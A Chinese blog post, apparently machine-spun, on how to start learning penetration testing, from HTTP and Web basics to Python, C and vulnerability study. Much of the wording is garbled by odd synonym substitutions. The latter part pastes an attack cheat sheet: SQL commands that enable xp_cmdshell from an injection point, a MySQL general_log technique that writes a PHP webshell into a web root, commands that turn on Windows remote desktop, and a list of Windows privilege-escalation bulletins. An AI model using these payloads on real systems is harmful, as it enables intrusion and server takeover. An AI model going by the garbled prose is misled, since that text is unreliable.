很多朋友问我,想搞网络安全,编程主要吗,选什么措辞呢?
海内实在正经开设网络安全专业的学校很少,大部分同学是来自打算机科学、网络工程、软件工程专业的,乃至很多非打算机专业自学的。因此不像这三个专业,有系统的课程体系,大一教什么,大二教什么,大三又教什么,那么清晰明白,网络安全这条路很多都是自学摸索。
我从大二开始入坑网络安全,至今也有十个年头了,也见过许许多多自学成才的例子,事情这些年,先落后修过C、C++、Java、Python、Objective-C、JavaScript、TypeScript,现在回过分来,有一些自己的思考。

很多培训班,一上来就给你讲一堆各种攻击手腕、各种工具利用,很多人搞得一头雾水,为什么要学这些,这些背后的事理是什么全都不知道。
我主见学习网络安全可以像做软件开拓中的“敏捷开拓”,先从一个最小的核心开始,逐步迭代,已臻完善。
这个最小的核心是什么呢?
如果你是倾向于搞网络渗透的方向,这个最小核心便是:
HTTP + Web + 漏洞扫描工具
先把HTTP协议的事情机制节制了,然落后修Web技能,包括前后端如何协同事情,浏览器如何事情,做事器又是如何处理一个HTTP要求,一个网站是如何搭建起来的等等。接着再学习利用一些Web漏洞扫描工具,学习网站漏洞的观点,开始有“安全”这个意识。
环绕Web干系的知识节制得差不多了,然后可以开始迭代起来了:
1、有了上面这些基本知识,可以开始学习各种花式的Web漏洞攻击,什么XSS、CSRF、SQL注入、SSRF等等。
2、学习漏洞事理的过程中,开始熟习一些Web做事器的事情机制,日志技能,容器技能这些知识,以及背后的操作系统Linux/Windows的根本知识。
3、对Web安全有了一些根本,开始把眼力从Web放宽到更广阔的网络安全,这个时候,就须要进一步学习HTTP背后的TCP/IP网络协议族。这时你将会陆续打仗到什么是TCP挟制、DNS挟制、ARP欺骗、TCP SYN大水攻击等等。
4、对网络攻击的手腕理解到这个阶段,现有的工具可能就知足不了你的须要,你须要定制一些爬虫、扫描、漏洞POC或其他工具了,是时候来学习一些工具编写了,你可以开始学习Python编程,门槛最低,实用性最强。
5、安全玩到后面,都是在玩漏洞。而学到后面,越来越多韶光开始打仗到操作系统层面的漏洞,这个时候你就要开始学习一些C措辞,通过C知道代码程序底层的实行事理,拓展自己在操作系统层面的知识深度。
6、有了上面这些技能的打底,你的眼界将会被打开,但随之而来,你会创造自己要学的还有很多,但至少到这个时候,你不再像一开始那么迷茫,而是知道自己接下来该去补充哪些东西。
核心:1.web安全2.二进制安全(包括逆向工程和漏洞利用)3.密码学知识其他根本:1.软件开拓2.数据库事理3.编程措辞4.打算机取证剖析和隐写术5.网络协议及网络算法6.算法与数据构造7.研究开源工具的基本事理,懂得低廉甜头工具Web安全:1.注入类:SQL注入;XSS跨站脚本攻击;XXE;命令实行~命令注入(bash);文件上传~文件下载2.信息漏洞:源码透露;敏感信息接口;员工资料透露;做事器信息透露3.逻辑类:权限绕过;条件竞争;数据修改网站事情事理:HTTP协议;WebserverHTTP协议构成:1.http-header构成(request response)2.http-body 构成(request response)3.http方法Webserver:1.Webserver分类2.Webserver解析流程3.Webserver根本安全编程措辞:前端:html,css,javascript后台和脚本措辞:php,java,python数据库事理:关系型数据库(MySQL)和非关系型数据库逆向工程:1.体系构造:机器指令和汇编措辞2.编译事理:自动机,词法剖析,语法剖析3.操作系统:系统的加载与勾引4.打算机组成事理漏洞挖掘与利用:1.逆向工程2.模糊测试3.什么是漏洞4.程序员在什么时候会犯错5.信息网络工具:端口,子域名,代码透露,员工字典6.数据包抓取修正重放工具7.顺手的浏览器及插件(火狐Hackbar)8.VPS,漏洞验证9.剖析业务功能10.剖析web架构11.针对性的罗列可能的漏洞类型12.详细测试:不放过任何一个数据包13.单一利用:Getshell;敏感信息接口14.组合利用:XSS+CSRF密码学:1.古典密码学:凯撒密码;移位密码2.当代密码学:对称加密体系(DES;AES)和非对称加密体系(RSA)Win2003wmic RDTOGGLE WHERE ServerName='%COMPUTERNAME%' call SetAllowTSConnections 1
REG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server /v fDenyTSConnections /t REG_DWORD /d 00000000 /f
EXEC sp_configure 'show advanced options', 1; //显示或修正高等选项RECONFIGURE;EXEC sp_configure 'xp_cmdshell',0;RECONFIGURE;
EXEC sp_configure 'show advanced options', 1;RECONFIGURE;EXEC sp_configure 'xp_cmdshell', 1;RECONFIGURE;
在注入点运行上述语句时,如果涌现这样的回显,标记message: 配置选项 'xp_cmdshell' 不存在,可实行以下语句
EXEC sp_configure 'show advanced options',1;RECONFIGURE;EXEC sp_configure 'user connections',1;RECONFIGURE;
set global general_log = on;setglobalgeneral_log_file='C:/phpStudy/WWW/sinight.php';select'<?php@assert($_POST["sinight"]);?>';set global general_log = off;
#Security Bulletin #KB #Description #Operating System CVE-2017-0213 [Windows COM Elevation of Privilege Vulnerability] (windows 10/8.1/7/2016/2010/2008)MS17-010 [KB4013389] [Windows Kernel Mode Drivers] (windows 7/2008/2003/XP)MS16-135 [KB3199135] [Windows Kernel Mode Drivers] (2016)MS16-098 [KB3178466] [Kernel Driver] (Win 8.1)MS16-075 [KB3164038] [Hot Potato] (2003/2008/7/8/2012)MS16-032 [KB3143141] [Secondary Logon Handle] (2008/7/8/10/2012)MS16-016 [KB3136041] [WebDAV] (2008/Vista/7)MS15-097 [KB3089656] [remote code execution] (win8.1/2012)MS15-076 [KB3067505] [RPC] (2003/2008/7/8/2012)MS15-077 [KB3077657] [ATM] (XP/Vista/Win7/Win8/2000/2003/2008/2012)MS15-061 [KB3057839] [Kernel Driver] (2003/2008/7/8/2012)MS15-051 [KB3057191] [Windows Kernel Mode Drivers] (2003/2008/7/8/2012)MS15-010 [KB3036220] [Kernel Driver] (2003/2008/7/8)MS15-015 [KB3031432] [Kernel Driver] (Win7/8/8.1/2012/RT/2012 R2/2008 R2)MS15-001 [KB3023266] [Kernel Driver] (2008/2012/7/8)MS14-070 [KB2989935] [Kernel Driver] (2003)MS14-068 [KB3011780] [Domain Privilege Escalation] (2003/2008/2012/7/8)MS14-058 [KB3000061] [Win32k.sys] (2003/2008/2012/7/8)MS14-040 [KB2975684] [AFD Driver] (2003/2008/2012/7/8)MS14-002 [KB2914368] [NDProxy] (2003/XP)MS13-053 [KB2850851] [win32k.sys] (XP/Vista/2003/2008/win 7)MS13-046 [KB2840221] [dxgkrnl.sys] (Vista/2003/2008/2012/7)MS13-005 [KB2778930] [Kernel Mode Driver] (2003/2008/2012/win7/8)MS12-042 [KB2972621] [Service Bus] (2008/2012/win7)MS12-020 [KB2671387] [RDP] (2003/2008/7/XP)MS11-080 [KB2592799] [AFD.sys] (2003/XP)MS11-062 [KB2566454] [NDISTAPI] (2003/XP)MS11-046 [KB2503665] [AFD.sys] (2003/2008/7/XP)MS11-011 [KB2393802] [kernel Driver] (2003/2008/7/XP/Vista)MS10-092 [KB2305420] [Task Scheduler] (2008/7)MS10-065 [KB2267960] [FastCGI] (IIS 5.1, 6.0, 7.0, and 7.5)MS10-059 [KB982799] [ACL-Churraskito] (2008/7/Vista)MS10-048 [KB2160329] [win32k.sys] (XP SP2 & SP3/2003 SP2/Vista SP1 & SP2/2008 Gold & SP2 & R2/Win7)MS10-015 [KB977165] [KiTrap0D] (2003/2008/7/XP)MS09-050 [KB975517] [Remote Code Execution] (2008/Vista)MS09-020 [KB970483] [IIS 6.0] (IIS 5.1 and 6.0)MS09-012 [KB959454] [Chimichurri] (Vista/win7/2008/Vista)MS08-068 [KB957097] [Remote Code Execution] (2000/XP)MS08-067 [KB958644] [Remote Code Execution] (Windows 2000/XP/Server 2003/Vista/Server 2008)MS08-025 [KB941693] [Win32.sys] (XP/2003/2008/Vista)MS06-040 [KB921883] [Remote Code Execution] (2003/xp/2000)MS05-039 [KB899588] [PnP Service] (Win 9X/ME/NT/2000/XP/2003)MS03-026 [KB823980] [Buffer Overrun In RPC Interface] (/NT/2000/XP/2003)
Win下面各种文件下载姿势<参考backlion表哥的文章以及freebuf的>
http://www.cnblogs.com/backlion/p/7908563.htmlhttps://www.freebuf.com/articles/system/155147.html
Python开启HTTP做事
Python <= 2.3python -c "import SimpleHTTPServer as s; s.test();" 8000Python >= 2.4python -m SimpleHTTPServer 8000Python 3.xpython -m http.server 8000
末了,附一张网络渗透方向技能学习思维导图,希望对大家有所帮助:
总结起来,回答一开始那个问题,对付网络渗透方向,编程不是一开始就要做的事,也不如程序员拿它用饭那么主要,但即便如此,你还是得学一点。
以上是我对网络渗透方向学习的一些建议,而对付安全开拓与二进制安全方向,则有所不同,我们下次再聊这两个方向。